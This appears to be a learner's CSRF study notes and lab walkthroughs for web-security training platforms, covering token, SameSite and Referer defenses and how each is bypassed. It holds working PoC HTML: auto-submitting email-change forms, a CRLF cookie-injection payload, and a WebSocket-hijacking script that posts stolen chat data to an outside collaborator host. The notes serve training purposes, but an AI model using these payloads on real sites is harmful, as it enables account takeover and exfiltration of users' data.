Cross-site request forgery (CSRF) - allows an attacker to induce users to perform actions that they do not intend to perform.
Ex: Web Page
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- If the user is logged in to the vulnerable website, their browser will automatically include their session cookie in the request (assuming SameSite cookies are not being used).
How
The easiest way to construct a CSRF exploit is using the CSRF PoC generator that is built in to Burp Suite Professional:
- Select a request
- Right-click -> Engagement tools / Generate CSRF PoC
- Burp Suite will generate the html
- Tweak various options
- Copy the generated HTML into a web page
- Test by going there when logged in
Lab 1
Basically it was that simple
- Just had to remember to use a different email than the one from the initial request I captured because when I stopped intercepting, I changed my own email so the victim wasn’t able to receive it
How to deliver
Typically place the malicious HTML onto a website that you control and induce victims to visit that website.
- Note that some simple CSRF exploits employ the GET method and can be fully self-contained with a single URL on the vulnerable website.
- Example - if the request to change email address can be performed with the GET method, then a self-contained attack would look like this:
<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">
Defenses
- CSRF tokens
- generated by the server-side application and shared with the client. When attempting to perform a sensitive action, such as submitting a form, the client must include the correct CSRF token in the request
- SameSite cookies
- browser security mechanism that determines when a website’s cookies are included in requests originating from other websites
- Referer-based validation
- Some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application’s own domain (less effective than CSRF token)
CSRF Tokens
Example of how to share with a client:
<form name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="example@normal-website.com">
<input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u">
<button class='button' type='submit'> Update email </button>
</form>
Common flaws in CSRF token validation
- Attackers may be able to skip CSRF validation when using a GET request instead of a POST request
- Validation depends on token being present, sometimes you can simply remove it
- Token not tied to user session - attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack
- CSRF token tied to a non-session cookie, at least not the same cookie that is used to track sessions
- For example this can occur when an application employs two different frameworks - one for session handling and one for CSRF protection
- CSRF token is simply duplicated in a cookie
- the attacker doesn’t need to obtain a valid token of their own. They simply invent a token (perhaps in the required format, if that is being checked), leverage the cookie-setting behavior to place their cookie into the victim’s browser, and feed their token to the victim in their CSRF attack.
Lab 2
- Literally just use a GET request instead of POST for the change email parameter
Lab 3
- Just remove the CSRF token and field from the request (and HTML)
Lab 4
- Not sure what was going on in this lab
- Basically you capture a login request, copy the CSRF token, and then drop the request
- This requires you to find a way to pass them, in this case as a URL parameter
- Fu3ZUhAXMAG9zRaAPcVzmQDOM2l8C13r - csrf token
- lCBxMg9r3ll5rJc55Az3MezHpNrEPwLV = key
GET /?search=trees%0d%0aSet-Cookie:%20csrfKey=<attacker>i- Adding the csrfkey in the search URL
- Include auto-submit script in Generate CSRF PoC
<img src="https://SITE/?search=trees%0d%0aSet-Cookie:%20csrfKey=<attacker>" onerror="document.forms[0].submit()">
- Then also add the csrf token as well
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a6500e804ad0b4b80377b0d00f40017.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="pop669@pop.com" />
<input type="hidden" name="csrf" value="Fu3ZUhAXMAG9zRaAPcVzmQDOM2l8C13r" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a6500e804ad0b4b80377b0d00f40017.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=lCBxMg9r3ll5rJc55Az3MezHpNrEPwLV%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
- Required me to uncheck
Include auto-submit scriptin the Generate CSRF PoC
Lab 6
Same as lab 5, but you can make the cookie whatever, I just used the same format
SameSite
SameSite is a browser security mechanism that determines when a website’s cookies are included in requests originating from other websites.
- Site is defined at TLD, but the URL scheme (http vs https) is considered as well
- Site considers scheme, domain, and TLD
- Origin also considered subdomain and port

- Vulnerability for the site will work on other parts of the site, so other origins, but not other sites
- works by enabling browsers and website owners to limit which cross-site requests should include specific cookies. Done by
Set-Cookie: session=<cookie>- Chrome enables
Laxsettings by default, meaning browsers will send the cookie only if:- Request uses
GETmethod - Request resulted form a top-level navigation by the user, such as clicking a link
- Request uses
- If a cookie is set with
SameSite=Strict- browsers will not send it in any cross-site requests, meaning if the target site for the request does not match the site currently shown in the browser’s address bar, it will not include the cookie.
- Chrome enables
If you encounter a cookie set with SameSite=None or with no explicit restrictions, it’s worth investigating whether it’s of any use.
- Note that the website must also include the
Secureattribute or browsers will reject the cookie
Bypassing SameSite Lax restrictions
- Try
GETrequest even when posting data. Ex:<script> document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000'; </script> - This won’t always work, but some frameworks allow you to override. Symfony uses the
_methodparameter in forms, for example, and it takes precedence over the normal method. ```HTML
### Lab 7
Basically the point here is to force the `POST` request. The below was all I needed. Really the learning point here was the fact that the `_method` parameter could be passed to the URL query string, though fwiw it seems like it required the `email` parameter to be there as well.
```HTML
<script>
document.location = "https://0a47003c0499372e801812a500e20070.web-security-academy.net/my-account/change-email?email=pop@pop.com&_method=POST"
</script>
Same Strict bypass via client-side redirect
If a cookie is set with the SameSite=Strict attribute, browsers won’t include it in any cross-site requests. You may be able to get around this limitation if you can find a gadget that results in a secondary request within the same site.
- One possible gadget is a client-side redirect that dynamically constructs the redirection target using attacker-controllable input like URL parameters
- DOM-based open redirection
- Works because not really redirect so it includes cookies
- If you can manipulate this gadget to elicit a malicious secondary request, this can enable you to bypass any SameSite cookie restrictions completely.
- Not possible with server-side redirects
Lab 8
<script>
document.location = "https://0a120099030b9907800421f5009900f1.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pop%40pop.com%26submit=1";
</script>
Ok, so the way this works is that you are looking around for something like a DOM-XSS, and when you submit a blog post, it takes you first to /post/comment/confirmation?postId=x before redirecting you back to the blog post
- If you change the
x, it will take you there - If you change the
xto1/../../my-account, it will take you there as well - Then enables you to use the same
my-account/change-email?email=pop@pop.comas the previous lab, though you do need to add thesubmitparameter and URL encode the ampersand delimiter to avoid breaking out of thepostIdparameter in the initial setup request
SameSite strict bypass via sibling domain
don’t forget that if the target website supports WebSockets, this functionality might be vulnerable to cross-site WebSocket hijacking (CSWSH), which is essentially just a CSRF attack targeting a WebSocket handshake
Lab 9
First off - Note no unpredictable web tokens - vulnerable to CSRF attack
- 3:24 - write initial payload
Key things to notice:
- When you refresh the
/chatendpoint, the there is aREADYmessage sent to the WebSocket history - This is a PoC for CSWSH (taken from 3:24 in video):
<script> var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat'); ws.onopen = function() { ws.send("READY"); }; ws.onmessage = function(event) { fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data}); }; </script> - Check this with Collaborator - you won’t get a vuln, but if you get a request you know it works
- Session cookie won’t be sent bc of the
SameSite = Strict
- Session cookie won’t be sent bc of the
- Study proxy history - you need to notice that responses to requests for resources like script and image files contain an
Access-Control-Allow-Originheader, which reveals a sibling domain atcms-YOUR-LAB-ID.web-security-academy.net.- Check requests for resources like script and image files
- It was also important to visit this website
- It had a login form, check that, and try injecting XSS payload like
<script>alert('XSS')</script> - Confirm it works with
GETresponse too (Change request method)
- It had a login form, check that, and try injecting XSS payload like
- URL-encode the PoC for CSWSH
- Then use this CSRF, but include the URL-encoded one as the username on the vulnerable domain:
<script> document.location = "https://cms-YOUR-LAB-ID.web-security-academy.net/login?username=YOUR-URL-ENCODED-CSWSH-SCRIPT&password=anything"; </script> - Deliver and check Poll Now in Collaborator
- Confirm that this does contain your session cookie
SameSite Lax bypass via cookie refresh
if a website doesn’t include a SameSite attribute when setting a cookie, Chrome automatically applies Lax restrictions by default. However, to avoid breaking SSO, it doesn’t enforce these restrictions for the first 120 seconds on top-level POST requests
- So there is a two minute window
- Not practical to hit the window, but it could work to force the victim to be issued a new session cookie
- You can trigger the cookie refresh from a new tab so the browser doesn’t leave the page before you’re able to deliver the final attack
- Pop-ups are blocked, but you can include the
onclickevent handlerwindow.onclick = () => { window.open('https://vulnerable-website.com/login/sso'); }
- Pop-ups are blocked, but you can include the
Lab 10
The key thing here is to notice that there is a new session cookie each time you visit /social-login which initiates the full OAuth flow. So getting the victim to visit this without browsing to it is the key.
- So you have the normal CSRF PoC, but you add this
onclickpart as well
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0ac0003804d4532c8179f721004a00ea.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="pop2@pop.com" />
<input type="submit" value="Submit request" />
</form>
<script>
window.onclick = () => {
window.open('https://0ac0003804d4532c8179f721004a00ea.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail(){
document.forms[0].submit();
}
</script>
</body>
</html>
Bypassing Refer-based CSRF defenses
Some applications make use of the HTTP Referer header to attempt, normally by verifying that the request originated from the application’s own domain. This approach is generally less effective and is often subject to bypasses.
- contains the URL of the web page that linked to the resource that is being requested
- Some applications only validate the
Refererheader if it is present - You can cause the victim’s browser to drop the header with:
<meta name="referrer" content="never">
Lab 11
Literally just include the tag above like so:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<meta name="referrer" content="never">
<body>
<form action="https://0a4b00b803b19f3c80a9129e00730054.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="pop@pop.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Validation of Referer can be circumvented
Sometimes validation of the Referer header can be broken
- Ex: validation that the domain starts correctly
http://vulnerable-website.com.attacker-website.com/csrf-attack
- Or even just that the correct website is included somewhere
http://attacker-website.com/csrf-attack?vulnerable-website.com- This may not work bc some browsers strip the query data by default, but you can include
Referrer-Policy: unsafe-urlheader in your exploit to ensure that full URL is sent
Lab 12
There are two things here:
- We need to find a way to include the victim website
- We need to find a way for it be be accepted (
Referrer-Policy: unsafe-url)
For the first:
- You can change your email normally, but if you try to to use the exploit server, it won’t work because of the
Refererheader. Referer: https://arbitrary-incorrect-domain.net?YOUR-LAB-ID.web-security-academy.netdoes work though when you alter theRefererheader in Burp- Note that this means you have to figure out this part in Burp before you go to the exploit server
- It means that as long as the victim URL is somewhere in the URL, the
Refererheader will validate - So change the
<script>part to sayhistory.pushState('', '', '/?0aca0073034de84481afc65e00ea00e8.web-security-academy.net');rather thanhistory.pushState('', '', '/
For the second:
- The
Referrer-Policy: unsafe-urlgoes in theHead:section of the exploit server, not theBody
Additional CSRF Concepts (THM)
Types of CSRF
Traditional CSRF: The victim is tricked into carrying out an action on a website without realizing it.
- Ex: A victim already logged in to their banking app clicks a link that uses their cookies to transfer money to the attacker.
Asynchronous CSRF: Operations are initiated without a complete page request-response cycle, using JavaScript (XMLHttpRequest or the Fetch API).
- Ex: A malicious script on an attacker’s page makes an AJAX call to
mailbox.thm/api/updateEmail. The victim’s session cookie is included automatically, and if no CSRF defenses exist, the settings are modified.
Flash-based CSRF: Takes advantage of flaws in Adobe Flash Player components used by applications for interactive content or video streaming.
Hidden Link / Image Exploitation
A CSRF attack can embed a 0x0 pixel image or link using src or href:
<a href="http://mybank.thm:8080/dashboard.php?to_account=GB82MYBANK5698&amount=1000" target="_blank">Click Here to Redeem</a>
The link automatically transfers money to the attacker’s account when clicked by an authenticated user.
Double Submit Cookie Bypass
The server generates a CSRF token sent to the browser and embedded in hidden form fields. The server checks that the cookie and hidden field match. This can be bypassed via:
- Session Cookie Hijacking (man-in-the-middle)
- Subverting the Same-Origin Policy (attacker-controlled subdomain)
- Exploiting XSS vulnerabilities
- Predicting or interfering with token generation
- Subdomain Cookie Injection
SameSite Cookie Summary (THM Context)
- Strict: Only sent in first-party context (same site that set the cookie)
- Lax: Sent in top-level navigations and safe HTTP methods (GET, HEAD, OPTIONS); not sent with cross-origin POST requests
- None: Minimal restriction; requires the Secure attribute when over HTTPS
Chrome default behavior: cookies without a SameSite attribute are treated like SameSite=None for the first 2 minutes, then treated as Lax.